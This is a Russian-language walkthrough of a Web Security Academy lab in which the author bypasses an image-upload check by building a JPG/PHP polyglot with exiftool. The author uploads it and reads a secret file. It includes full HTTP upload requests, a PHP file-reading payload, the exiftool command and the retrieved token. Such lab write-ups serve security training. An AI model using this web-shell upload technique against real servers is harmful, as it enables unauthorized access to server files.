В данной лабе содержится уязвимость в загрузке файлов. Для прохождения нужно получить доступ к файлу /home/carlos/secret и передать его содержимое в форму проверки.
Для входа в аккаунт можно использовать данные wiener:peter.
https://0abd005c033ff4bd81c1256700e000f1.web-security-academy.net/
Solution
Зайду в личный кабинет с помощью кред из условия и получу POST-запрос для загрузки картинки.
POST /my-account/avatar HTTP/2
Host: 0abd005c033ff4bd81c1256700e000f1.web-security-academy.net
Cookie: session=8AKifUIC65bNLJC89itvg6GyeRgOxIwM
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0abd005c033ff4bd81c1256700e000f1.web-security-academy.net/my-account?id=wiener
Content-Type: multipart/form-data; boundary=----geckoformboundary36fb349a4e4b34c8b48dd4ed32a33058
Content-Length: 107749
Origin: https://0abd005c033ff4bd81c1256700e000f1.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
------geckoformboundary36fb349a4e4b34c8b48dd4ed32a33058
Content-Disposition: form-data; name="avatar"; filename="dog.jpg"
Content-Type: image/jpeg
С загрузкой .jpg проблем не было, пробую загрузить .php файл со следующим содержимым:
<?php echo file_get_contents('/home/carlos/secret'); ?>
Ожидаемо, загрузить файл не получилось. Мне выдало следующую ошибку:
Error: file is not a valid image Sorry, there was an error uploading your file.
В названии лабы есть спойлер, а именно слово polyglot.
Полиглотами называют такие файлы, которые меняют свой тип в зависимости от контекста использования. На сервере идет проверка на то, что загружаемый файл является валидной картинкой.
На сайте Burp Suite Academy натолкнулся на тулзу exiftool. С ее помощью можно создавать файлы-полиглоты. Для создания полиглота jpg + php я использовал команду:
exiftool -Comment="START <?php echo file_get_contents('/home/carlos/secret'); ?> END" ~/Documents/dog.jpg -o polyglot.php
Сгенерированный файл я загрузил на сайт.
POST /my-account/avatar HTTP/2
Host: 0abd005c033ff4bd81c1256700e000f1.web-security-academy.net
Cookie: session=8AKifUIC65bNLJC89itvg6GyeRgOxIwM
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0abd005c033ff4bd81c1256700e000f1.web-security-academy.net/my-account
Content-Type: multipart/form-data; boundary=----geckoformboundary3e99b35f9ca8c9ea119de399560746ff
Content-Length: 107821
Origin: https://0abd005c033ff4bd81c1256700e000f1.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
------geckoformboundary3e99b35f9ca8c9ea119de399560746ff
Content-Disposition: form-data; name="avatar"; filename="polyglot.php"
Content-Type: text/php
ÿØÿà JFIF ÿþ CSTART <?php echo file_get_contents('/home/carlos/secret'); ?> ENDÿÛ C
...
Открою страницу с аватаркой.

А вот и нужный мне токен — ls5MhLfcM6OtELdaGSMSjRCZ55KciAjF. Сдам его для прохождения лабы.

Успех)